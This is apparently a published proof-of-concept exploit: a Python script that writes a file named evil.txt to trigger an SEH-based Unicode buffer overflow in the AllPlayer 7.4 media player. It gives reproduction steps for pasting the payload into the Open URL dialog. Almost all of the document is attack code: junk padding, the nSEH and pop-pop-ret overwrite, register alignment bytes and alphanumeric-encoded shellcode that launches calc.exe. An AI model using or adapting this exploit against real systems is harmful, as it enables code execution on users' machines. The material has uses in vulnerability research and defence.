AllPlayer 7.4 - SEH Buffer Overflow (Unicode)

#!/usr/bin/python -w

#
# Exploit Author: Chris Au
# Exploit Title:  AllPlayer V7.4 - Local Buffer Overflow (SEH Unicode)
# Date: 07-04-2019
# Vulnerable Software: AllPlayer V7.4
# Vendor Homepage: https://www.allplayer.org/
# Version: 7.4
# Software Link: http://allplayer.org/Download/ALLPlayerEN.exe
# Tested Windows Windows 7 SP1 x86
#
#
# PoC
# 1. generate evil.txt, copy contents to clipboard
# 2. open AllPlayer
# 3. select "Open video or audio file", click "Open URL"
# 4. paste contents from clipboard
# 5. select OK
# 6. calc.exe
#

filename="evil.txt"
header = "http://"
junk = "\xcc" * 301
nseh = "\x90\x45"
seh = "\x7a\x74" #pop pop retn
valign = (
"\x55" #push ebp
"\x45" #align
"\x58" #pop eax
"\x45" #align
"\x05\x20\x11" #add eax,11002000
"\x45" #align
"\x2d\x18\x11" #sub eax,11001900
"\x45" #align
"\x50" #push eax
"\x45" #align
"\xc3" #retn
)
#nop to shell
nop = "\xcc" * 115
shellcode = (
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAI"
"AQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIA"
"JQYAZBABABABABkMAGB9u4JBkLK8qrM0ypyps0e9xeP1Y0RD4K"
"npnPrkPRLLbkb2N42kt2lhlOegmzkvMaYodlMl0aqlKRnLo0Uq"
"foLMzai7zBl2nrOgTKnrJptKNjoLBkpLjqahISQ8KQ8QpQRkaI"
"kpKQYCbkMyzxHcnZq9bkNTTK9q9FMaYofLVa8OLMjaI7p8GpRU"
"9flCamXxmksMo4d5JD1HrknxMTYq8Sc6RkJl0KtKnxKlkQFs4K"
"zdtKKQJ0RiQ4NDLdOkOkC1pYOjOakOyPQOqOpZ4KN2zKTMaM0j"
"kQbmu55bKP9pM0b0C8014KROQwkOIEek8pTuTbPVQXcvTU7MeM"
"iohUOLm6qlyze09k7p0u9ugKa7mCPrbOqZ9pOcYoHURCPa0l0c"
"Lnc51hOuipAA")
fill = "\x45" * 5000
buffer = header + junk + nseh + seh + valign + nop + shellcode + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()